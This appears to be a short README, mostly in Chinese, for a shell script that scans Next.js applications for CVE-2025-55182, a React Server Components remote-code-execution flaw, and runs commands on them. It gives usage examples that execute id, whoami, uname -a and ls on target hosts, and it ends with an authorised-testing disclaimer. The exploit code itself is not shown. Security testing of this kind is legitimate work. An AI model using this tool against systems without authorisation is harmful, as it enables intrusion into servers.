用于检测和利用 Next.js 应用程序中 CVE-2025-55182（React 服务器组件 RCE）漏洞的简单命令行工具。
chmod +x scanner.sh
# Scan with default command (id)
./scanner.sh -d example.com
# Execute custom command
./scanner.sh -d example.com -c "whoami"
# With full URL
./scanner.sh -d https://example.com -c "uname -a"
-d, --domain - 目标域名/URL（必填）-c, --command - 要执行的命令（默认：id）# Check if target is vulnerable
./scanner.sh -d vulnerable-app.com
# Get system information
./scanner.sh -d vulnerable-app.com -c "uname -a"
# List files
./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"
此工具仅供教育和授权安全测试目的使用。请勿将其用于您不拥有或未经授权测试的系统。